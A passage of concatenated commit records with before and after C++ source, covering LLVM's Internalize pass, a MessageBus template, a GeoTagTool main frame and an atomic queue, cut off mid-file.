m_messages.begin();\n\tif (m_messages.size() > 0)\n\t\tstd::advance(cursor, m_messages.size()-1);\n\tm_proxys.emplace(proxy, cursor);\n}\n\ntemplate <typename MessageType>\nvoid MessageBus<MessageType>::unregisterProxy(MessageBusProxy<MessageType>* proxy) {\n\tauto _search = m_proxys.find(proxy);\n\tif (_search == m_proxys.end())\n\t\treturn;\n\tm_proxys.erase(_search);\n\n\tif (m_proxys.size() == 0)\n\t\tdelete m_bus.release();\n}\n\ntemplate <typename MessageType>\nMessageType* MessageBus<MessageType>::next(MessageBusProxy<MessageType>* proxy) {\n\t\/\/ TODO : implement next function\n\tauto& iterator = m_proxys.at(proxy);\n\tif (iterator == m_messages.end())\n\t\treturn nullptr;\n\treturn &*(++iterator);\n}\n\ntemplate <typename MessageType>\nstd::unique_ptr<MessageBus<MessageType>> MessageBus<MessageType>::m_bus = nullptr;\n\ntemplate <typename MessageType>\nvoid SendMessage(const MessageType& message) {\n\tMessageBus<MessageType>::getBus()->push(message);\n}\n\ntemplate <typename MessageType, typename ResponseType>\nconst std::vector<ResponseType>&& RequestMessage(const MessageType& message)\n{\n\tMessageBus<MessageType>::getBus()->request(message);\n}\n\ntemplate <typename MessageType, typename ResponseType>\nconst ResponseType& RequestUnique(const MessageType& message)\n{\n\tauto& response = RequestMessage<MessageType, ResponseType>(message);\n\tif (response.size() != 1) throw std::runtime_error(\"More than 1 response\");\n\treturn response[0];\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/===-- Internalize.cpp - Mark functions internal -------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This pass loops over all of the functions in the input module, looking for a\n\/\/ main function. If a main function is found, all other functions and all\n\/\/ global variables with initializers are marked as internal.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Transforms\/IPO.h\"\n#include \"llvm\/Pass.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/ADT\/Statistic.h\"\n#include <fstream>\n#include <set>\nusing namespace llvm;\n\nnamespace {\n Statistic<> NumFunctions(\"internalize\", \"Number of functions internalized\");\n Statistic<> NumGlobals (\"internalize\", \"Number of global vars internalized\");\n\n \/\/ APIFile - A file which contains a list of symbols that should not be marked\n \/\/ external.\n cl::opt<std::string>\n APIFile(\"internalize-public-api-file\", cl::value_desc(\"filename\"),\n cl::desc(\"A file containing list of symbol names to preserve\"));\n\n \/\/ APIList - A list of symbols that should not be marked internal.\n cl::list<std::string>\n APIList(\"internalize-public-api-list\", cl::value_desc(\"list\"),\n cl::desc(\"A list of symbol names to preserve\"),\n cl::CommaSeparated);\n\n class InternalizePass : public ModulePass {\n std::set<std::string> ExternalNames;\n public:\n InternalizePass() {\n if (!APIFile.empty()) \/\/ If a filename is specified, use it\n LoadFile(APIFile.c_str());\n else \/\/ Else, if a list is specified, use it.\n ExternalNames.insert(APIList.begin(), APIList.end());\n }\n\n void LoadFile(const char *Filename) {\n \/\/ Load the APIFile...\n std::ifstream In(Filename);\n if (!In.good()) {\n std::cerr << \"WARNING: Internalize couldn't load file '\" << Filename\n << \"'!\\n\";\n return; \/\/ Do not internalize anything...\n }\n while (In) {\n std::string Symbol;\n In >> Symbol;\n if (!Symbol.empty())\n ExternalNames.insert(Symbol);\n }\n }\n\n virtual bool runOnModule(Module &M) {\n \/\/ If no list or file of symbols was specified, check to see if there is a\n \/\/ \"main\" symbol defined in the module. If so, use it, otherwise do not\n \/\/ internalize the module, it must be a library or something.\n \/\/\n if (ExternalNames.empty()) {\n Function *MainFunc = M.getMainFunction();\n if (MainFunc == 0 || MainFunc->isExternal())\n return false; \/\/ No main found, must be a library...\n\n \/\/ Preserve main, internalize all else.\n ExternalNames.insert(MainFunc->getName());\n }\n\n bool Changed = false;\n\n \/\/ Found a main function, mark all functions not named main as internal.\n for (Module::iterator I = M.begin(), E = M.end(); I != E; ++I)\n if (!I->isExternal() && \/\/ Function must be defined here\n !I->hasInternalLinkage() && \/\/ Can't already have internal linkage\n !ExternalNames.count(I->getName())) {\/\/ Not marked to keep external?\n I->setLinkage(GlobalValue::InternalLinkage);\n Changed = true;\n ++NumFunctions;\n DEBUG(std::cerr << \"Internalizing func \" << I->getName() << \"\\n\");\n }\n\n \/\/ Mark all global variables with initializers as internal as well...\n for (Module::global_iterator I = M.global_begin(), E = M.global_end(); I != E; ++I)\n if (!I->isExternal() && !I->hasInternalLinkage() &&\n !ExternalNames.count(I->getName())) {\n \/\/ Special case handling of the global ctor and dtor list. When we\n \/\/ internalize it, we mark it constant, which allows elimination of\n \/\/ the list if it's empty.\n \/\/\n if (I->hasAppendingLinkage() && (I->getName() == \"llvm.global_ctors\"||\n I->getName() == \"llvm.global_dtors\"))\n I->setConstant(true);\n\n I->setLinkage(GlobalValue::InternalLinkage);\n Changed = true;\n ++NumGlobals;\n DEBUG(std::cerr << \"Internalizing gvar \" << I->getName() << \"\\n\");\n }\n\n return Changed;\n }\n };\n\n RegisterOpt<InternalizePass> X(\"internalize\", \"Internalize Global Symbols\");\n} \/\/ end anonymous namespace\n\nModulePass *llvm::createInternalizePass() {\n return new InternalizePass();\n}\n<commit_msg>Add an option to this pass. If it is set, we are allowed to internalize all but main. If it's not set, we can still internalize, but only if an explicit symbol list is provided.<commit_after>\/\/===-- Internalize.cpp - Mark functions internal -------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This pass loops over all of the functions in the input module, looking for a\n\/\/ main function. If a main function is found, all other functions and all\n\/\/ global variables with initializers are marked as internal.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Transforms\/IPO.h\"\n#include \"llvm\/Pass.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/ADT\/Statistic.h\"\n#include <fstream>\n#include <set>\nusing namespace llvm;\n\nnamespace {\n Statistic<> NumFunctions(\"internalize\", \"Number of functions internalized\");\n Statistic<> NumGlobals (\"internalize\", \"Number of global vars internalized\");\n\n \/\/ APIFile - A file which contains a list of symbols that should not be marked\n \/\/ external.\n cl::opt<std::string>\n APIFile(\"internalize-public-api-file\", cl::value_desc(\"filename\"),\n cl::desc(\"A file containing list of symbol names to preserve\"));\n\n \/\/ APIList - A list of symbols that should not be marked internal.\n cl::list<std::string>\n APIList(\"internalize-public-api-list\", cl::value_desc(\"list\"),\n cl::desc(\"A list of symbol names to preserve\"),\n cl::CommaSeparated);\n\n class InternalizePass : public ModulePass {\n std::set<std::string> ExternalNames;\n bool DontInternalize;\n public:\n InternalizePass(bool InternalizeEverything = true) : DontInternalize(false){\n if (!APIFile.empty()) \/\/ If a filename is specified, use it\n LoadFile(APIFile.c_str());\n else if (!APIList.empty()) \/\/ Else, if a list is specified, use it.\n ExternalNames.insert(APIList.begin(), APIList.end());\n else if (!InternalizeEverything)\n \/\/ Finally, if we're allowed to, internalize all but main.\n DontInternalize = true;\n }\n\n void LoadFile(const char *Filename) {\n \/\/ Load the APIFile...\n std::ifstream In(Filename);\n if (!In.good()) {\n std::cerr << \"WARNING: Internalize couldn't load file '\" << Filename\n << \"'!\\n\";\n return; \/\/ Do not internalize anything...\n }\n while (In) {\n std::string Symbol;\n In >> Symbol;\n if (!Symbol.empty())\n ExternalNames.insert(Symbol);\n }\n }\n\n virtual bool runOnModule(Module &M) {\n if (DontInternalize) return false;\n \n \/\/ If no list or file of symbols was specified, check to see if there is a\n \/\/ \"main\" symbol defined in the module. If so, use it, otherwise do not\n \/\/ internalize the module, it must be a library or something.\n \/\/\n if (ExternalNames.empty()) {\n Function *MainFunc = M.getMainFunction();\n if (MainFunc == 0 || MainFunc->isExternal())\n return false; \/\/ No main found, must be a library...\n\n \/\/ Preserve main, internalize all else.\n ExternalNames.insert(MainFunc->getName());\n }\n\n bool Changed = false;\n\n \/\/ Found a main function, mark all functions not named main as internal.\n for (Module::iterator I = M.begin(), E = M.end(); I != E; ++I)\n if (!I->isExternal() && \/\/ Function must be defined here\n !I->hasInternalLinkage() && \/\/ Can't already have internal linkage\n !ExternalNames.count(I->getName())) {\/\/ Not marked to keep external?\n I->setLinkage(GlobalValue::InternalLinkage);\n Changed = true;\n ++NumFunctions;\n DEBUG(std::cerr << \"Internalizing func \" << I->getName() << \"\\n\");\n }\n\n \/\/ Mark all global variables with initializers as internal as well...\n for (Module::global_iterator I = M.global_begin(), E = M.global_end(); I != E; ++I)\n if (!I->isExternal() && !I->hasInternalLinkage() &&\n !ExternalNames.count(I->getName())) {\n \/\/ Special case handling of the global ctor and dtor list. When we\n \/\/ internalize it, we mark it constant, which allows elimination of\n \/\/ the list if it's empty.\n \/\/\n if (I->hasAppendingLinkage() && (I->getName() == \"llvm.global_ctors\"||\n I->getName() == \"llvm.global_dtors\"))\n I->setConstant(true);\n\n I->setLinkage(GlobalValue::InternalLinkage);\n Changed = true;\n ++NumGlobals;\n DEBUG(std::cerr << \"Internalizing gvar \" << I->getName() << \"\\n\");\n }\n\n return Changed;\n }\n };\n\n RegisterOpt<InternalizePass> X(\"internalize\", \"Internalize Global Symbols\");\n} \/\/ end anonymous namespace\n\nModulePass *llvm::createInternalizePass(bool InternalizeEverything) {\n return new InternalizePass(InternalizeEverything);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===-- Internalize.cpp - Mark functions internal -------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This pass loops over all of the functions in the input module, looking for a\n\/\/ main function. If a main function is found, all other functions and all\n\/\/ global variables with initializers are marked as internal.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Transforms\/IPO.h\"\n#include \"llvm\/Pass.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/ADT\/Statistic.h\"\n#include <fstream>\n#include <set>\nusing namespace llvm;\n\nnamespace {\n Statistic<> NumFunctions(\"internalize\", \"Number of functions internalized\");\n Statistic<> NumGlobals (\"internalize\", \"Number of global vars internalized\");\n\n \/\/ APIFile - A file which contains a list of symbols that should not be marked\n \/\/ external.\n cl::opt<std::string>\n APIFile(\"internalize-public-api-file\", cl::value_desc(\"filename\"),\n cl::desc(\"A file containing list of symbol names to preserve\"));\n\n \/\/ APIList - A list of symbols that should not be marked internal.\n cl::list<std::string>\n APIList(\"internalize-public-api-list\", cl::value_desc(\"list\"),\n cl::desc(\"A list of symbol names to preserve\"),\n cl::CommaSeparated);\n\n class InternalizePass : public ModulePass {\n std::set<std::string> ExternalNames;\n bool DontInternalize;\n public:\n InternalizePass(bool InternalizeEverything = true) : DontInternalize(false){\n if (!APIFile.empty()) \/\/ If a filename is specified, use it\n LoadFile(APIFile.c_str());\n else if (!APIList.empty()) \/\/ Else, if a list is specified, use it.\n ExternalNames.insert(APIList.begin(), APIList.end());\n else if (!InternalizeEverything)\n \/\/ Finally, if we're allowed to, internalize all but main.\n DontInternalize = true;\n }\n\n void LoadFile(const char *Filename) {\n \/\/ Load the APIFile...\n std::ifstream In(Filename);\n if (!In.good()) {\n std::cerr << \"WARNING: Internalize couldn't load file '\" << Filename\n << \"'!\\n\";\n return; \/\/ Do not internalize anything...\n }\n while (In) {\n std::string Symbol;\n In >> Symbol;\n if (!Symbol.empty())\n ExternalNames.insert(Symbol);\n }\n }\n\n virtual bool runOnModule(Module &M) {\n if (DontInternalize) return false;\n \n \/\/ If no list or file of symbols was specified, check to see if there is a\n \/\/ \"main\" symbol defined in the module. If so, use it, otherwise do not\n \/\/ internalize the module, it must be a library or something.\n \/\/\n if (ExternalNames.empty()) {\n Function *MainFunc = M.getMainFunction();\n if (MainFunc == 0 || MainFunc->isExternal())\n return false; \/\/ No main found, must be a library...\n\n \/\/ Preserve main, internalize all else.\n ExternalNames.insert(MainFunc->getName());\n }\n\n bool Changed = false;\n\n \/\/ Found a main function, mark all functions not named main as internal.\n for (Module::iterator I = M.begin(), E = M.end(); I != E; ++I)\n if (!I->isExternal() && \/\/ Function must be defined here\n !I->hasInternalLinkage() && \/\/ Can't already have internal linkage\n !ExternalNames.count(I->getName())) {\/\/ Not marked to keep external?\n I->setLinkage(GlobalValue::InternalLinkage);\n Changed = true;\n ++NumFunctions;\n DEBUG(std::cerr << \"Internalizing func \" << I->getName() << \"\\n\");\n }\n\n \/\/ Mark all global variables with initializers as internal as well...\n for (Module::global_iterator I = M.global_begin(), E = M.global_end();\n I != E; ++I)\n if (!I->isExternal() && !I->hasInternalLinkage() &&\n !ExternalNames.count(I->getName()) &&\n \/\/ *never* internalize the llvm.used symbol, used to implement\n \/\/ attribute((used)).\n I->getName() != \"llvm.used\") {\n \/\/ Special case handling of the global ctor and dtor list. When we\n \/\/ internalize it, we mark it constant, which allows elimination of\n \/\/ the list if it's empty.\n \/\/\n if (I->hasAppendingLinkage() && (I->getName() == \"llvm.global_ctors\"||\n I->getName() == \"llvm.global_dtors\"))\n I->setConstant(true);\n\n I->setLinkage(GlobalValue::InternalLinkage);\n Changed = true;\n ++NumGlobals;\n DEBUG(std::cerr << \"Internalizing gvar \" << I->getName() << \"\\n\");\n }\n\n return Changed;\n }\n };\n\n RegisterOpt<InternalizePass> X(\"internalize\", \"Internalize Global Symbols\");\n} \/\/ end anonymous namespace\n\nModulePass *llvm::createInternalizePass(bool InternalizeEverything) {\n return new InternalizePass(InternalizeEverything);\n}\n<commit_msg>Pull inline methods out of the pass class definition to make it easier to read the code.<commit_after>\/\/===-- Internalize.cpp - Mark functions internal -------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This pass loops over all of the functions in the input module, looking for a\n\/\/ main function. If a main function is found, all other functions and all\n\/\/ global variables with initializers are marked as internal.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Transforms\/IPO.h\"\n#include \"llvm\/Pass.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/ADT\/Statistic.h\"\n#include <fstream>\n#include <set>\nusing namespace llvm;\n\nnamespace {\n Statistic<> NumFunctions(\"internalize\", \"Number of functions internalized\");\n Statistic<> NumGlobals (\"internalize\", \"Number of global vars internalized\");\n\n \/\/ APIFile - A file which contains a list of symbols that should not be marked\n \/\/ external.\n cl::opt<std::string>\n APIFile(\"internalize-public-api-file\", cl::value_desc(\"filename\"),\n cl::desc(\"A file containing list of symbol names to preserve\"));\n\n \/\/ APIList - A list of symbols that should not be marked internal.\n cl::list<std::string>\n APIList(\"internalize-public-api-list\", cl::value_desc(\"list\"),\n cl::desc(\"A list of symbol names to preserve\"),\n cl::CommaSeparated);\n\n class InternalizePass : public ModulePass {\n std::set<std::string> ExternalNames;\n bool DontInternalize;\n public:\n InternalizePass(bool InternalizeEverything = true);\n void LoadFile(const char *Filename);\n virtual bool runOnModule(Module &M);\n };\n RegisterOpt<InternalizePass> X(\"internalize\", \"Internalize Global Symbols\");\n} \/\/ end anonymous namespace\n\nInternalizePass::InternalizePass(bool InternalizeEverything) \n : DontInternalize(false){\n if (!APIFile.empty()) \/\/ If a filename is specified, use it\n LoadFile(APIFile.c_str());\n else if (!APIList.empty()) \/\/ Else, if a list is specified, use it.\n ExternalNames.insert(APIList.begin(), APIList.end());\n else if (!InternalizeEverything)\n \/\/ Finally, if we're allowed to, internalize all but main.\n DontInternalize = true;\n}\n\nvoid InternalizePass::LoadFile(const char *Filename) {\n \/\/ Load the APIFile...\n std::ifstream In(Filename);\n if (!In.good()) {\n std::cerr << \"WARNING: Internalize couldn't load file '\" << Filename\n << \"'!\\n\";\n return; \/\/ Do not internalize anything...\n }\n while (In) {\n std::string Symbol;\n In >> Symbol;\n if (!Symbol.empty())\n ExternalNames.insert(Symbol);\n }\n}\n\nbool InternalizePass::runOnModule(Module &M) {\n if (DontInternalize) return false;\n \n \/\/ If no list or file of symbols was specified, check to see if there is a\n \/\/ \"main\" symbol defined in the module. If so, use it, otherwise do not\n \/\/ internalize the module, it must be a library or something.\n \/\/\n if (ExternalNames.empty()) {\n Function *MainFunc = M.getMainFunction();\n if (MainFunc == 0 || MainFunc->isExternal())\n return false; \/\/ No main found, must be a library...\n \n \/\/ Preserve main, internalize all else.\n ExternalNames.insert(MainFunc->getName());\n }\n \n bool Changed = false;\n \n \/\/ Found a main function, mark all functions not named main as internal.\n for (Module::iterator I = M.begin(), E = M.end(); I != E; ++I)\n if (!I->isExternal() && \/\/ Function must be defined here\n !I->hasInternalLinkage() && \/\/ Can't already have internal linkage\n !ExternalNames.count(I->getName())) {\/\/ Not marked to keep external?\n I->setLinkage(GlobalValue::InternalLinkage);\n Changed = true;\n ++NumFunctions;\n DEBUG(std::cerr << \"Internalizing func \" << I->getName() << \"\\n\");\n }\n \n \/\/ Never internalize the llvm.used symbol. It is used to implement\n \/\/ attribute((used)).\n ExternalNames.insert(\"llvm.used\");\n \n \/\/ Never internalize anchors used by the debugger, else the debugger won't\n \/\/ find them.\n ExternalNames.insert(\"llvm.dbg.translation_units\");\n ExternalNames.insert(\"llvm.dbg.globals\");\n \n \/\/ Mark all global variables with initializers as internal as well.\n for (Module::global_iterator I = M.global_begin(), E = M.global_end();\n I != E; ++I)\n if (!I->isExternal() && !I->hasInternalLinkage() &&\n !ExternalNames.count(I->getName())) {\n \/\/ Special case handling of the global ctor and dtor list. When we\n \/\/ internalize it, we mark it constant, which allows elimination of\n \/\/ the list if it's empty.\n \/\/\n if (I->hasAppendingLinkage() && (I->getName() == \"llvm.global_ctors\" ||\n I->getName() == \"llvm.global_dtors\"))\n I->setConstant(true);\n \n I->setLinkage(GlobalValue::InternalLinkage);\n Changed = true;\n ++NumGlobals;\n DEBUG(std::cerr << \"Internalizing gvar \" << I->getName() << \"\\n\");\n }\n \n return Changed;\n}\n\nModulePass *llvm::createInternalizePass(bool InternalizeEverything) {\n return new InternalizePass(InternalizeEverything);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ RemotePhotoTool - remote camera control software\n\/\/ Copyright (C) 2008-2018 Michael Fink\n\/\/\n\/\/\/ \\file GeoTagTool\\MainFrame.cpp GeoTagTool main frame\n\/\/\n#include \"stdafx.h\"\n#include \"res\/Ribbon.h\"\n#include \"resource.h\"\n#include \"AboutDlg.hpp\"\n#include \"GeoTagToolView.hpp\"\n#include \"MainFrame.hpp\"\n#include \"SerialPortDlg.hpp\"\n\nBOOL MainFrame::PreTranslateMessage(MSG* pMsg)\n{\n if (CRibbonFrameWindowImpl<MainFrame>::PreTranslateMessage(pMsg))\n return TRUE;\n\n return m_view.PreTranslateMessage(pMsg);\n}\n\nBOOL MainFrame::OnIdle()\n{\n return FALSE;\n}\n\nLRESULT MainFrame::OnCreate(UINT \/*uMsg*\/, WPARAM \/*wParam*\/, LPARAM \/*lParam*\/, BOOL& \/*bHandled*\/)\n{\n UIAddMenu(GetMenu(), true);\n m_cmdBar.Create(m_hWnd, rcDefault, NULL, WS_CHILD);\n m_cmdBar.AttachMenu(GetMenu());\n m_cmdBar.LoadImages(IDR_MAINFRAME);\n\n CreateSimpleStatusBar();\n\n m_hWndClient = m_view.Create(m_hWnd);\n UISetCheck(ID_VIEW_STATUS_BAR, 1);\n\n \/\/ register object for message filtering and idle updates\n CMessageLoop* pLoop = _Module.GetMessageLoop();\n ATLASSERT(pLoop != NULL);\n pLoop->AddMessageFilter(this);\n pLoop->AddIdleHandler(this);\n\n ShowRibbonUI(true);\n\n return 0;\n}\n\nLRESULT MainFrame::OnDestroy(UINT \/*uMsg*\/, WPARAM \/*wParam*\/, LPARAM \/*lParam*\/, BOOL& bHandled)\n{\n \/\/ unregister message filtering and idle updates\n CMessageLoop* pLoop = _Module.GetMessageLoop();\n ATLASSERT(pLoop != NULL);\n pLoop->RemoveMessageFilter(this);\n pLoop->RemoveIdleHandler(this);\n\n bHandled = FALSE;\n return 1;\n}\n\nLRESULT MainFrame::OnFileExit(WORD \/*wNotifyCode*\/, WORD \/*wID*\/, HWND \/*hWndCtl*\/, BOOL& \/*bHandled*\/)\n{\n PostMessage(WM_CLOSE);\n return 0;\n}\n\nLRESULT MainFrame::OnAppAbout(WORD \/*wNotifyCode*\/, WORD \/*wID*\/, HWND \/*hWndCtl*\/, BOOL& \/*bHandled*\/)\n{\n AboutDlg dlg;\n dlg.DoModal();\n\n return 0;\n}\n\nLRESULT MainFrame::OnDataSourceOpenGPSReceiver(WORD \/*wNotifyCode*\/, WORD \/*wID*\/, HWND \/*hWndCtl*\/, BOOL& \/*bHandled*\/)\n{\n SerialPortDlg dlg;\n if (IDOK != dlg.DoModal(m_hWnd))\n return 0;\n\n\n return 0;\n}\n\nLRESULT MainFrame::OnDataSourceImportTrack(WORD \/*wNotifyCode*\/, WORD \/*wID*\/, HWND \/*hWndCtl*\/, BOOL& \/*bHandled*\/)\n{\n\n return 0;\n}\n\nLRESULT MainFrame::OnActionsTagImages(WORD \/*wNotifyCode*\/, WORD \/*wID*\/, HWND \/*hWndCtl*\/, BOOL& \/*bHandled*\/)\n{\n return 0;\n}\n\nLRESULT MainFrame::OnActionsSaveLiveTrack(WORD \/*wNotifyCode*\/, WORD \/*wID*\/, HWND \/*hWndCtl*\/, BOOL& \/*bHandled*\/)\n{\n return 0;\n}\n<commit_msg>removed ASSERT when starting main frame, due do missing menu resource<commit_after>\/\/\n\/\/ RemotePhotoTool - remote camera control software\n\/\/ Copyright (C) 2008-2018 Michael Fink\n\/\/\n\/\/\/ \\file GeoTagTool\\MainFrame.cpp GeoTagTool main frame\n\/\/\n#include \"stdafx.h\"\n#include \"res\/Ribbon.h\"\n#include \"resource.h\"\n#include \"AboutDlg.hpp\"\n#include \"GeoTagToolView.hpp\"\n#include \"MainFrame.hpp\"\n#include \"SerialPortDlg.hpp\"\n\nBOOL MainFrame::PreTranslateMessage(MSG* pMsg)\n{\n if (CRibbonFrameWindowImpl<MainFrame>::PreTranslateMessage(pMsg))\n return TRUE;\n\n return m_view.PreTranslateMessage(pMsg);\n}\n\nBOOL MainFrame::OnIdle()\n{\n return FALSE;\n}\n\nLRESULT MainFrame::OnCreate(UINT \/*uMsg*\/, WPARAM \/*wParam*\/, LPARAM \/*lParam*\/, BOOL& \/*bHandled*\/)\n{\n m_cmdBar.Create(m_hWnd, rcDefault, NULL, WS_CHILD);\n m_cmdBar.AttachMenu(GetMenu());\n m_cmdBar.LoadImages(IDR_MAINFRAME);\n\n CreateSimpleStatusBar();\n\n m_hWndClient = m_view.Create(m_hWnd);\n UISetCheck(ID_VIEW_STATUS_BAR, 1);\n\n \/\/ register object for message filtering and idle updates\n CMessageLoop* pLoop = _Module.GetMessageLoop();\n ATLASSERT(pLoop != NULL);\n pLoop->AddMessageFilter(this);\n pLoop->AddIdleHandler(this);\n\n ShowRibbonUI(true);\n\n return 0;\n}\n\nLRESULT MainFrame::OnDestroy(UINT \/*uMsg*\/, WPARAM \/*wParam*\/, LPARAM \/*lParam*\/, BOOL& bHandled)\n{\n \/\/ unregister message filtering and idle updates\n CMessageLoop* pLoop = _Module.GetMessageLoop();\n ATLASSERT(pLoop != NULL);\n pLoop->RemoveMessageFilter(this);\n pLoop->RemoveIdleHandler(this);\n\n bHandled = FALSE;\n return 1;\n}\n\nLRESULT MainFrame::OnFileExit(WORD \/*wNotifyCode*\/, WORD \/*wID*\/, HWND \/*hWndCtl*\/, BOOL& \/*bHandled*\/)\n{\n PostMessage(WM_CLOSE);\n return 0;\n}\n\nLRESULT MainFrame::OnAppAbout(WORD \/*wNotifyCode*\/, WORD \/*wID*\/, HWND \/*hWndCtl*\/, BOOL& \/*bHandled*\/)\n{\n AboutDlg dlg;\n dlg.DoModal();\n\n return 0;\n}\n\nLRESULT MainFrame::OnDataSourceOpenGPSReceiver(WORD \/*wNotifyCode*\/, WORD \/*wID*\/, HWND \/*hWndCtl*\/, BOOL& \/*bHandled*\/)\n{\n SerialPortDlg dlg;\n if (IDOK != dlg.DoModal(m_hWnd))\n return 0;\n\n\n return 0;\n}\n\nLRESULT MainFrame::OnDataSourceImportTrack(WORD \/*wNotifyCode*\/, WORD \/*wID*\/, HWND \/*hWndCtl*\/, BOOL& \/*bHandled*\/)\n{\n\n return 0;\n}\n\nLRESULT MainFrame::OnActionsTagImages(WORD \/*wNotifyCode*\/, WORD \/*wID*\/, HWND \/*hWndCtl*\/, BOOL& \/*bHandled*\/)\n{\n return 0;\n}\n\nLRESULT MainFrame::OnActionsSaveLiveTrack(WORD \/*wNotifyCode*\/, WORD \/*wID*\/, HWND \/*hWndCtl*\/, BOOL& \/*bHandled*\/)\n{\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <YCommon\/Headers\/stdincludes.h>\n#include \"AtomicQueue.h\"\n\n#include <string>\n\n#include <YCommon\/Headers\/AtomicNumberMask.h>\n#include <YCommon\/Headers\/Atomics.h>\n\nnamespace YCommon { namespace YContainers {\n\nAtomicQueue::AtomicQueue()\n : mBuffer(NULL),\n mItemSize(0),\n mNumItems(0),\n mHead(0),\n mTail(0) {\n}\n\nAtomicQueue::AtomicQueue(void* buffer, size_t buffer_size,\n size_t item_size, size_t num_items)\n : mBuffer(NULL),\n mItemSize(0),\n mNumItems(0),\n mHead(0),\n mTail(0) {\n Initialize(buffer, buffer_size, item_size, num_items);\n}\n\nAtomicQueue::~AtomicQueue() {\n}\n\nvoid AtomicQueue::Initialize(void* buffer, size_t buffer_size,\n size_t item_size, size_t num_items) {\n mBuffer = buffer;\n mItemSize = item_size;\n mNumItems = num_items;\n mHead = 0;\n mTail = 0;\n\n (void) buffer_size;\n YASSERT(buffer_size >= (item_size * num_items),\n \"Atomic Queue %u[%u] requires at least %u bytes, supplied %u bytes.\",\n static_cast<uint32_t>(item_size), num_items,\n static_cast<uint32_t>(item_size * num_items),\n static_cast<uint32_t>(buffer_size));\n}\n\nbool AtomicQueue::Enqueue(const void* data_item) {\n const uint64_t cur_head = mHead;\n const uint64_t cur_tail = mTail;\n MemoryBarrier();\n\n const uint64_t cur_head_num = GET_NUM(cur_head);\n const uint64_t cur_tail_num = GET_NUM(cur_tail);\n\n \/\/ Check if full (numbers match, but counters do not)\n if (cur_head_num == cur_tail_num && cur_head != cur_tail)\n return false;\n\n memcpy(static_cast<char*>(mBuffer) + cur_tail_num, data_item, mItemSize);\n\n const uint64_t new_tail_num = cur_tail_num + mItemSize;\n const uint64_t tail_cnt = GET_CNT(cur_tail);\n\n \/\/ Check if looped through buffer.\n mTail = (new_tail_num == (mItemSize * mNumItems)) ?\n CONSTRUCT_NEXT_VALUE(tail_cnt, 0) :\n CONSTRUCT_VALUE(tail_cnt, new_tail_num);\n\n return true;\n}\n\nbool AtomicQueue::Dequeue(void* data_item) {\n const size_t buffer_size = mItemSize * mNumItems;\n for (;;) {\n const uint64_t cur_head = mHead;\n const uint64_t cur_tail = mTail;\n MemoryBarrier();\n\n \/\/ Check if empty (both counter and numbers match)\n if (cur_head == cur_tail)\n return false;\n\n const uint64_t cur_head_num = GET_NUM(cur_head);\n\n memcpy(data_item, static_cast<char*>(mBuffer) + cur_head_num, mItemSize);\n\n const uint64_t new_head_num = cur_head_num + mItemSize;\n const uint64_t head_cnt = GET_CNT(cur_head);\n\n \/\/ Check if looped through buffer.\n const uint64_t new_head_val = (new_head_num == buffer_size) ?\n CONSTRUCT_NEXT_VALUE(head_cnt, 0) :\n CONSTRUCT_VALUE(head_cnt, new_head_num);\n\n if (AtomicCmpSet64(&mHead, cur_head, new_head_val))\n break;\n }\n\n return true;\n}\n\nsize_t AtomicQueue::CurrentSize() const {\n const uint64_t cur_head = mHead;\n const uint64_t cur_tail = mTail;\n MemoryBarrier();\n\n const uint64_t cur_head_num = GET_NUM(cur_head);\n const uint64_t cur_tail_num = GET_NUM(cur_tail);\n\n if (cur_head_num == cur_tail_num) {\n \/\/ Empty if the counters match, full otherwise.\n return (cur_head == cur_tail) ? 0 : mItemSize;\n } else if (cur_tail_num > cur_head_num) {\n return (cur_tail_num - cur_head_num) \/ mItemSize;\n } else {\n const uint64_t looped_tail = cur_tail_num + (mItemSize * mNumItems);\n return (looped_tail - cur_head_num) \/ mItemSize;\n }\n}\n\n}} \/\/ namespace YCommon { namespace YContainers {\n<commit_msg>Fixed some type problems<commit_after>#include <YCommon\/Headers\/stdincludes.h>\n#include \"AtomicQueue.h\"\n\n#include <string>\n\n#include <YCommon\/Headers\/AtomicNumberMask.h>\n#include <YCommon\/Headers\/Atomics.h>\n\nnamespace YCommon { namespace YContainers {\n\nAtomicQueue::AtomicQueue()\n : mBuffer(NULL),\n mItemSize(0),\n mNumItems(0),\n mHead(0),\n mTail(0) {\n}\n\nAtomicQueue::AtomicQueue(void* buffer, size_t buffer_size,\n size_t item_size, size_t num_items)\n : 